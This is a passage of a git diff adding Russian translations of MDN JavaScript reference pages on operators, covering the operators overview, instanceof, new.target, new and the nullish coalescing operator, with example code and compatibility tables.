+ <dd>Оператор побитового ИСКЛЮЧАЮЩЕГО ИЛИ.</dd>
+</dl>
+
+<h3 id="Binary_logical_operators" name="Binary_logical_operators">Бинарные логические операторы</h3>
+
+<p>Логические операторы обычно используются вместе с булевыми (логическими) значениями и в сочетании с ними они возвращают булево значение.</p>
+
+<dl>
+ <dt>{{jsxref("Operators/Logical_Operators", "&amp;&amp;", "#Logical_AND")}}</dt>
+ <dd>Оператор логического И.</dd>
+ <dt>{{jsxref("Operators/Logical_Operators", "||", "#Logical_OR")}}</dt>
+ <dd>Оператор логического ИЛИ.</dd>
+</dl>
+
+<h3 id="Conditional_(ternary)_operator" name="Conditional_(ternary)_operator">Условный (тернарный) оператор</h3>
+
+<dl>
+ <dt>{{jsxref("Operators/Conditional_Operator", "(условие ? ifTrue : ifFalse)")}}</dt>
+ <dd>Условный оператор возвращает одно значение из двух данных в зависимости от логического значения условия.</dd>
+</dl>
+
+<h3 id="Assignment_operators" name="Assignment_operators">Операторы присваивания</h3>
+
+<p>Операторы присваивания присваивают значение своему левому операнду, зависящее от значения их правого операнда.</p>
+
+<dl>
+ <dt>{{jsxref("Operators/Assignment_Operators", "=", "#Assignment")}}</dt>
+ <dd>Оператор присваивания.</dd>
+ <dt>{{jsxref("Operators/Assignment_Operators", "*=", "#Multiplication_assignment")}}</dt>
+ <dd>Оператор присваивания с умножением.</dd>
+ <dt>{{jsxref("Operators/Assignment_Operators", "/=", "#Division_assignment")}}</dt>
+ <dd>Оператор присваивания с делением.</dd>
+ <dt>{{jsxref("Operators/Assignment_Operators", "%=", "#Remainder_assignment")}}</dt>
+ <dd>Оператор присваивания с взятием остатка от деления.</dd>
+ <dt>{{jsxref("Operators/Assignment_Operators", "+=", "#Addition_assignment")}}</dt>
+ <dd>Оператор присваивания со сложением.</dd>
+ <dt>{{jsxref("Operators/Assignment_Operators", "-=", "#Subtraction_assignment")}}</dt>
+ <dd>Оператор присваивания с вычитанием.</dd>
+ <dt>{{jsxref("Operators/Assignment_Operators", "&lt;&lt;=", "#Left_shift_assignment")}}</dt>
+ <dd>Оператор присваивания со сдвигом влево.</dd>
+ <dt>{{jsxref("Operators/Assignment_Operators", "&gt;&gt;=", "#Right_shift_assignment")}}</dt>
+ <dd>Оператор присваивания со знаковым сдвигом вправо.</dd>
+ <dt>{{jsxref("Operators/Assignment_Operators", "&gt;&gt;&gt;=", "#Unsigned_right_shift_assignment")}}</dt>
+ <dd>Оператор присваивания с беззнаковым сдвигом вправо.</dd>
+ <dt>{{jsxref("Operators/Assignment_Operators", "&amp;=", "#Bitwise_AND_assignment")}}</dt>
+ <dd>Оператор присваивания с побитовым И.</dd>
+ <dt>{{jsxref("Operators/Assignment_Operators", "^=", "#Bitwise_XOR_assignment")}}</dt>
+ <dd>Оператор присваивания с побитовым ИСКЛЮЧАЮЩИМ ИЛИ.</dd>
+ <dt>{{jsxref("Operators/Assignment_Operators", "|=", "#Bitwise_OR_assignment")}}</dt>
+ <dd>Оператор присваивания с побитовым ИЛИ.</dd>
+ <dt>{{jsxref("Operators/Destructuring_assignment", "[a, b] = [1, 2]")}}<br>
+ {{jsxref("Operators/Destructuring_assignment", "{a, b} = {a:1, b:2}")}}</dt>
+ <dd>Деструктурирующее присваивание позволяет вам присваивать свойства массива или объекта переменным с использованием синтаксиса, очень похожего на объявление литералов массива или объекта.</dd>
+</dl>
+
+<h3 id="Comma_operator" name="Comma_operator">Оператор запятая</h3>
+
+<dl>
+ <dt>{{jsxref("Operators/Comma_Operator", ",")}}</dt>
+ <dd>Оператор запятая позволяет вычислять несколько выражений в одном операторе и возвращает результат вычисления последнего выражения.</dd>
+ <dt>
+ <h3 id="Нестандартные_особенности">Нестандартные особенности</h3>
+ </dt>
+ <dt>{{non-standard_inline}} {{jsxref("Operators/Legacy_generator_function", "Legacy generator function", "", 1)}}</dt>
+ <dd>Ключевое слово <code>function</code> может быть использовано для определения устаревших функций-генераторов в одном выражении. Для того, чтобы сделать такую функцию, её тело должно содержать хотя бы одно выражение {{jsxref("Operators/yield", "yield")}}.</dd>
+ <dt>{{non-standard_inline}} {{jsxref("Operators/Expression_closures", "Expression closures", "", 1)}}</dt>
+ <dd>Синтаксис закрытого выражения для сокращённого написания простейших функций.</dd>
+ <dt>{{non-standard_inline}} {{jsxref("Operators/Array_comprehensions", "[for (x of y) x]")}}</dt>
+ <dd>Упрощённый синтаксис создания массива.</dd>
+ <dt>{{non-standard_inline}} {{jsxref("Operators/Generator_comprehensions", "(for (x of y) y)")}}</dt>
+ <dd>Упрощённый синтаксис создания генератора.</dd>
+</dl>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1', '#sec-11', 'Expressions')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-11', 'Expressions')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-ecmascript-language-expressions', 'ECMAScript Language: Expressions')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Новое: Оператор распространения, деструктурирующее присваивание, ключевое слово <code>super</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-ecmascript-language-expressions', 'ECMAScript Language: Expressions')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Operators/Operator_Precedence", "Приоритеты операторов", "", 1)}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/operators/instanceof/index.html b/files/ru/web/javascript/reference/operators/instanceof/index.html
new file mode 100644
index 0000000000..81676c6bf5
--- /dev/null
+++ b/files/ru/web/javascript/reference/operators/instanceof/index.html
@@ -0,0 +1,165 @@
+---
+title: instanceof
+slug: Web/JavaScript/Reference/Operators/instanceof
+tags:
+  - JavaScript
+  - Relational Operators
+  - instanceof
+  - Объект
+  - Оператор
+  - прототип
+translation_of: Web/JavaScript/Reference/Operators/instanceof
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p>Оператор <strong><code>instanceof</code> </strong>проверяет, принадлежит ли объект к определённому классу. Другими словами, <code>object instanceof constructor</code><em> </em>проверяет, присутствует ли объект <code>constructor.prototype</code> в цепочке прототипов <code>object</code>.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-instanceof.html")}}</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>object</em> instanceof <em>constructor</em></pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>object</code></dt>
+ <dd>Проверяемый объект.</dd>
+</dl>
+
+<dl>
+ <dt><code>constructor</code></dt>
+ <dd>Функция-конструктор, на которую идёт проверка.</dd>
+</dl>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Оператор <code>instanceof</code> проверяет, присутствует ли объект <code>constructor.prototype</code> в цепочке прототипов <code>object</code>.</p>
+
+<pre class="brush: js">// объявляем конструкторы
+function C() {}
+function D() {}
+
+var o = new C();
+
+// true, так как: Object.getPrototypeOf(o) === C.prototype
+o instanceof C;
+
+// false, так как D.prototype не присутствует в цепочке прототипов o
+o instanceof D;
+
+o instanceof Object; // true, так как:
+C.prototype instanceof Object // true
+
+C.prototype = {};
+var o2 = new C();
+
+o2 instanceof C; // true
+
+// false, так как C.prototype отсутствует в цепочке прототипов o
+o instanceof C;
+
+D.prototype = new C(); // add C to [[Prototype]] linkage of D
+var o3 = new D();
+o3 instanceof D; // true
+o3 instanceof C; // true, так как C.prototype теперь присутствует в цепочке прототипов o3
+</pre>
+
+<p>Обратите внимание: результат оператора <code>instanceof</code> зависит от свойства <code>constructor.prototype</code>, поэтому результат оператора может поменяться после изменения этого свойства. Также результат может поменяться после изменения прототипа <code>object</code> (или цепочки прототипов) с помощью <code>Object.setPrototypeOf</code> или нестандартного свойства <code>__proto__</code>.</p>
+
+<h3 id="instanceof_и_множественные_контексты_(например_фреймы_или_окна)"><code>instanceof</code> и множественные контексты (например, фреймы или окна)</h3>
+
+<p>Различные контексты имеют разные среды выполнения. Это означает, что они имеют различныые built-ins (разный глобальный объект, различные конструкторы и т.д.). Это может давать неожиданные результаты. Например, <code>[] instanceof window.frames[0].Array</code> вернёт <code>false</code>, потому что <code>Array.prototype !== </code><code>window.frames[0].Array</code> а массив наследуется от <code>Array</code>.</p>
+
+<p>Это может казаться несущественной проблемой сначала, но при работе с несколькими фреймами или окнами, и передачи объектов из одного контекста в другой с помощью функций, это может стать серьёзной проблемой. С другой стороны, безопасно проверить, является ли некоторый объект массивом можно используя <code>Array.isArray(myObj)</code>.</p>
+
+<p>Например, для проверки того, что <a href="/ru/docs/Web/API/Node">Node</a> является <a href="/ru/docs/Web/API/SVGElement">SVGElement</a> в разных контекстах можно использовать <code>myNode instanceof myNode.ownerDocument.defaultView.SVGElement</code>.</p>
+
+<div class="note"><strong>Замечания для разработчиков Mozilla:</strong><br>
+Использование XPCOM <code>instanceof</code> в коде имеет специальный эффект: <code>obj instanceof </code><em><code>xpcomInterface</code></em> (например <code>Components.interfaces.nsIFile</code>) вызывает <code>obj.QueryInterface(<em>xpcomInterface</em>)</code> и возвращает <code>true</code> если проверка на QueryInterface прошла успешно. Побочным эфектом этого вызова является то, что можно использовать свойства <em><code>xpcomInterface</code></em> на <code>obj</code> после успешной проверки с помощью <code>instanceof</code>. В отличии от стандартных глобальных JavaScript типов, проверка <code>obj instanceof xpcomInterface</code> работает как ожидается, даже если <code>obj</code> отнсится к другому контексту.</div>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Показывает_что_String_и_Date_имеют_тип_Object_и_граничные_случаи">Показывает, что <code>String</code> и <code>Date</code> имеют тип <code>Object</code> и граничные случаи</h3>
+
+<p>Следующий код использует <code>instanceof</code>, чтобы показать что объекты <code>String</code> и <code>Date</code> также имеют тип <code>Object</code> (они являются наследниками <code>Object</code>).</p>
+
+<p>Однако, объекты, созданные с помощью литералов, являются исключениями — хотя их prototype равен <code>undefined</code>, выражение <code>instanceof Object</code> возвращает <code>true</code>.</p>
+
+<pre class="brush: js">var simpleStr = 'Это обычная строка';
+var myString  = new String();
+var newStr    = new String('Строка, созданная с помощью конструктора');
+var myDate    = new Date();
+var myObj     = {};
+
+simpleStr instanceof String; // возвращает false, проверяет цепочку прототипов
+myString  instanceof String; // возвращает true
+newStr    instanceof String; // возвращает true
+myString  instanceof Object; // возвращает true
+
+myObj instanceof Object;    // возвращает true, несмотря на прототип, равный undefined
+({})  instanceof Object;    // возвращает true, аналогично предыдущей строчке
+
+myString instanceof Date;   // возвращает false
+
+myDate instanceof Date;     // возвращает true
+myDate instanceof Object;   // возвращает true
+myDate instanceof String;   // возвращает false
+</pre>
+
+<h3 id="Показывает_что_mycar_имеет_тип_Car_и_тип_Object">Показывает, что <code>mycar</code> имеет тип <code>Car</code> и тип <code>Object</code></h3>
+
+<p>Следующий код создает тип <code>Car</code> и экземпляр этого типа, <code>mycar</code>. Оператор <code>instanceof</code> показывает, что объект <code>mycar</code> имеет тип <code>Car</code> и тип <code>Object</code>.</p>
+
+<pre class="brush: js">function Car(make, model, year) {
+  this.make = make;
+  this.model = model;
+  this.year = year;
+}
+var mycar = new Car('Honda', 'Accord', 1998);
+var a = mycar instanceof Car;    // возвращает true
+var b = mycar instanceof Object; // возвращает true
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-relational-operators', 'Relational Operators')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-relational-operators', 'Relational Operators')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-11.8.6', 'The instanceof operator')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3', '#sec-11.8.6', 'The instanceof operator')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.4.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{Compat("javascript.operators.instanceof")}}</p>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li><code><a href="/ru/docs/Web/JavaScript/Reference/Operators/typeof" title="/en-US/docs/JavaScript/Reference/Operators/typeof">typeof</a></code></li>
+ <li>{{jsxref("Symbol.hasInstance")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/operators/new.target/index.html b/files/ru/web/javascript/reference/operators/new.target/index.html
new file mode 100644
index 0000000000..bab9b8e956
--- /dev/null
+++ b/files/ru/web/javascript/reference/operators/new.target/index.html
@@ -0,0 +1,137 @@
+---
+title: new.target
+slug: Web/JavaScript/Reference/Operators/new.target
+tags:
+  - ECMAScript6
+  - JavaScript
+translation_of: Web/JavaScript/Reference/Operators/new.target
+---
+<div>{{JSSidebar("Operators")}}</div>
+
+<div>Свойство <strong><code>new.target</code></strong> позволяет определить была ли функция или конструктор вызваны с помощью оператора <a href="/ru/docs/Web/JavaScript/Reference/Operators/new">new</a>. В конструкторах и функциях инстанциированных с помощью оператора <a href="/ru/docs/Web/JavaScript/Reference/Operators/new">new</a>,  <code>new.target</code> возвращает ссылку на конструктор или функцию. При обычном вызове функции <code>new.target</code> имеет значение {{jsxref("undefined")}}.</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">new.target</pre>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Синтаксис <code>new.target</code> состоит из ключевого слова<code>"new</code>", точки, и свойства<code> "target"</code>. Обычно "<code>new."</code> служит контекстом для доступа к свойству, но здесь <code>"new."</code> не совсем объект. Однако при вызове конструктора, <code>new.target</code> ссылается на конструктор вызванный с помощью <code>new</code> и таким образом "<code>new.</code>" становится виртуальным контекстом.</p>
+
+<p>Свойство <code>new.target</code> это мета свойство которое доступно во всех функциях. В <a href="/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions">стрелочных функция</a>, <code>new.target</code> ссылается на <code>new.target</code> внешней функции.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="new.target_в_вызове_функции">new.target в вызове функции</h3>
+
+<p>При обычном вызове функции (в противоположность вызову в качестве конструктора), <code>new.target</code> имеет значение {{jsxref("undefined")}}. Это позволяет определить была ли вызвана функция как конструктор через <a href="/en-US/docs/Web/JavaScript/Reference/Operators/new">new</a> или нет.</p>
+
+<pre class="brush: js">function Foo() {
+  if (!new.target) throw "Foo() must be called with new";
+  console.log("Foo instantiated with new");
+}
+
+new Foo(); // выведет "Foo instantiated with new"
+Foo(); // ошибка "Foo() must be called with new"
+</pre>
+
+<h3 id="new.target_в_конструкторе">new.target в конструкторе</h3>
+
+<p>В конструкторе класса, <code>new.target</code> ссылается на конструктор, который был непосредственно вызван <code>new</code>. Это верно и для случая, когда <code>new.target</code> находится в конструкторе родительского класса, а тот в свою очередь вызывается из конструктора дочернего класса.</p>
+
+<pre class="brush: js">class A {
+  constructor() {
+    console.log(new.target.name);
+  }
+}
+
+class B extends A { constructor() { super(); } }
+
+var a = new A(); // вернет "A"
+var b = new B(); // вернет "B"
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-built-in-function-objects', 'Built-in Function Objects')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-built-in-function-objects', 'Built-in Function Objects')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatChrome(46.0)}}</td>
+   <td>{{CompatGeckoDesktop(41)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(46.0)}}</td>
+   <td>{{CompatGeckoMobile(41)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(46.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Functions">Functions</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Classes">Classes</a></li>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/new">new</a></code></li>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/this">this</a></code></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/operators/new/index.html b/files/ru/web/javascript/reference/operators/new/index.html
new file mode 100644
index 0000000000..ce21bd41c1
--- /dev/null
+++ b/files/ru/web/javascript/reference/operators/new/index.html
@@ -0,0 +1,217 @@
+---
+title: Оператор new
+slug: Web/JavaScript/Reference/Operators/new
+tags:
+  - JavaScript
+  - Левосторонние выражения
+  - Оператор
+translation_of: Web/JavaScript/Reference/Operators/new
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p><strong>Оператор </strong>(операторная функция)<strong> <code>new</code></strong> создает экземпляр объекта, встроенного или определенного пользователем, имеющего конструктор.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">new <em>constructor</em>[([<em>arguments</em>])]</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>constructor</code></dt>
+ <dd>Функция, задающая тип объекта.</dd>
+</dl>
+
+<dl>
+ <dt><code>arguments</code></dt>
+ <dd>Список параметров, с которыми будет вызван конструктор.</dd>
+</dl>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Создание объекта, определенного пользователем, требует два шага:</p>
+
+<ol>
+ <li>Написать функцию, которая задаст тип объекта.</li>
+ <li>Создать экземпляр объекта, используя  <code>new</code>.</li>
+</ol>
+
+<p>Чтобы определить новый тип объекта, создайте функцию, которая задаст его и имя и свойства. Свойство объекта также может быть объектом. Примеры приведены ниже.</p>
+
+<p>Когда исполняется <code>new <em>Foo</em>(...)</code> , происходит следующее:</p>
+
+<ol>
+ <li>Создается новый объект, наследующий <code><em>Foo</em>.prototype.</code></li>
+ <li>Вызывается конструктор — функция <code><em>Foo</em></code> с указанными аргументами и <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/this">this</a>, привязанным к только что созданному объекту</code>. <code>new F<em>oo</em></code> эквивалентно <code>new </code><em>F<code>oo</code></em><code>()</code>, то есть если аргументы не указаны, Foo вызывается без аргументов.</li>
+ <li>Результатом выражения new становится объект, возвращенный конструктором. Если конструктор не возвращет объект явно, используется объект из п. 1. (Обычно конструкторы не возвращают значение, но они могут делать это, если нужно переопределить обычный процесс создания объектов.)</li>
+</ol>
+
+<p>Всегда можно добавить свойство к уже созданному объекту. Например, <code>car1.color = "black"</code> добавляет свойство <code>color</code> к объекту <code>car1</code>, и присваивает ему значение "<code>black</code>". Это не затрагивает другие объекты. Чтобы добавить свойство ко всем объектам типа, нужно добавлять его в определение типа Car.</p>
+
+<p>Добавить свойство к ранее определенному типу можно используя свойство <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/prototype">Function.prototype</a></code>. Это определит свойство для всех объектов, созданных этой функцией, а не только у какого-либо экземпляра. Следующий пример добавляет свойство color со значениеи <code>null</code> всем объектам типа <code>car</code>, а потом меняет его на  "<code>black</code>" только у экземпляра <code>car1</code>. Больше информации в статье <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/prototype">prototype</a>.</p>
+
+<pre class="brush: js">function Car() {}
+car1 = new Car();
+
+console.log(car1.color);    // undefined
+
+Car.prototype.color = null;
+console.log(car1.color);    // null
+
+car1.color = "black";
+console.log(car1.color);   // black
+</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Тип_объекта_и_экземпляры_объекта">Тип объекта и экземпляры объекта</h3>
+
+<p>Предположим, нам нужен тип объекта для автомобилей. Этот тип должен называться <code>car</code>, и иметь свойства: марка, модель и год.</p>
+
+<pre class="brush: js">function Car(make, model, year) {
+  this.make = make;
+  this.model = model;
+  this.year = year;
+}
+</pre>
+
+<p>Теперь можно создать экземпляр типа car:</p>
+
+<pre class="brush: js">var mycar = new Car("Eagle", "Talon TSi", 1993);
+</pre>
+
+<p>Это выражение создает экземпляр <code>mycar</code> и присваевает его свойствам указанные значения. Таким образом, <code>mycar.make</code> принимает значение "Eagle", <code>mycar.year</code> принимает значение 1993, и так далее.</p>
+
+<p>Можно создать любое количество экземпляров <code>car</code> с помощью оператора <code>new</code>. Например:</p>
+
+<pre class="brush: js">var kenscar = new Car("Nissan", "300ZX", 1992);
+</pre>
+
+<h3 id="Объект_в_качестве_свойства">Объект в качестве свойства</h3>
+
+<p>Предположим, есть объект <code>person</code>:</p>
+
+<pre class="brush: js">function Person(name, age, sex) {
+  this.name = name;
+  this.age = age;
+  this.sex = sex;
+}
+</pre>
+
+<p>Создадим два экземпляра:</p>
+
+<pre class="brush: js">var rand = new Person("Rand McNally", 33, "M");
+var ken = new Person("Ken Jones", 39, "M");
+</pre>
+
+<p>Изменим определение <code>car</code>, добавив свойство, указывающее владельца — <code>owner</code>:</p>
+
+<pre class="brush: js">function Car(make, model, year, owner) {
+  this.make = make;
+  this.model = model;
+  this.year = year;
+  this.owner = owner;
+}
+</pre>
+
+<p>Создадим экземпляры car:</p>
+
+<pre class="brush: js">var car1 = new Car("Eagle", "Talon TSi", 1993, rand);
+var car2 = new Car("Nissan", "300ZX", 1992, ken);
+</pre>
+
+<p>Вместо строковых или численных значений можно передать обект как параметр. Чтобы узнать имя владельца <code>car2</code>, получим доступ к свойству:</p>
+
+<pre class="brush: js">car2.owner.name
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-new-operator', 'The new Operator')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-11.2.2', 'The new Operator')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3', '#sec-11.2.2', 'The new Operator')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1', '#sec-11.2.2', 'The new Operator')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Изначальное определение. Реализовано JavaScript 1.0.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li>{{jsxref("Function")}}</li>
+ <li>{{jsxref("Reflect.construct()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/operators/nullish_coalescing_operator/index.html b/files/ru/web/javascript/reference/operators/nullish_coalescing_operator/index.html
new file mode 100644
index 0000000000..71484f05a1
--- /dev/null
+++ b/files/ru/web/javascript/reference/operators/nullish_coalescing_operator/index.html
@@ -0,0 +1,144 @@
+---
+title: Оператор нулевого слияния
+slug: Web/JavaScript/Reference/Operators/Nullish_coalescing_operator
+translation_of: Web/JavaScript/Reference/Operators/Nullish_coalescing_operator
+---
+<p>{{JSSidebar("Operators")}}</p>
+
+<p><strong>Оператор нулевого слияния (<code>??</code>)</strong> это логический оператор, который возвращает значение правого операнда когда значение левого операнда равно {{jsxref("null")}} или {{jsxref("undefined")}}, в противном случае будет возвращено значение левого операнда.</p>
+
+<p>В отличие от <a href="https://wiki.developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Operators/%D0%9B%D0%BE%D0%B3%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%B8%D0%B5_%D0%BE%D0%BF%D0%B5%D1%80%D0%B0%D1%82%D0%BE%D1%80%D1%8B#%D0%9B%D0%BE%D0%B3%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B5_%D0%98%D0%9B%D0%98">логического ИЛИ (<code>||</code>)</a>, левая часть оператора вычисляется и возвращается даже если его результат после приведения к логическому типу оказывается<em> <a href="https://wiki.developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Operators/%D0%9B%D0%BE%D0%B3%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%B8%D0%B5_%D0%BE%D0%BF%D0%B5%D1%80%D0%B0%D1%82%D0%BE%D1%80%D1%8B#%D0%9E%D0%BF%D0%B8%D1%81%D0%B0%D0%BD%D0%B8%D0%B5">ложным</a></em>, но не является <code>null</code> или <code>undefined</code>. Другими словами, если вы используете <code>||</code> чтобы установить значение по умолчанию, вы можете столкнуться с неожиданным поведением если считаете некоторые <em>ложные</em> значения пригодными для использования (например, "" или 0). Ниже приведены примеры.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-nullishcoalescingoperator.html")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.<br>
+ See <a href="https://github.com/mdn/interactive-examples/pull/1482#issuecomment-553841750">PR #1482</a> regarding the addition of this example.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate"><var>leftExpr</var> ?? <var>rightExpr</var>
+</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Использование_оператора_нулевого_слияния">Использование оператора нулевого слияния</h3>
+
+<p>В этом примере показано как устанавливать значения по умолчанию, оставив в покое значения отличные от <code>null</code> или <code>undefined</code>.</p>
+
+<pre class="brush: js notranslate">const nullValue = null;
+const emptyText = ""; // falsy
+const someNumber = 42;
+
+const valA = nullValue ?? "default for A";
+const valB = emptyText ?? "default for B";
+const valC = someNumber ?? 0;
+
+console.log(valA); // "default for A"
+console.log(valB); // "" (так как пустая строка не null или undefined)
+console.log(valC); // 42</pre>
+
+<h3 id="Значение_по_умолчанию_в_присваивании_переменной">Значение по умолчанию в присваивании переменной</h3>
+
+<p>Ранее, для присваивания значения по умолчанию переменной использовался оператор логического ИЛИ (<code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Logical_Operators#Logical_OR_2">||</a></code>):</p>
+
+<pre class="brush: js notranslate">let foo;
+
+//  переменной foo никогда не присваивалось значение, поэтому она undefined
+let someDummyText = foo || 'Hello!';</pre>
+
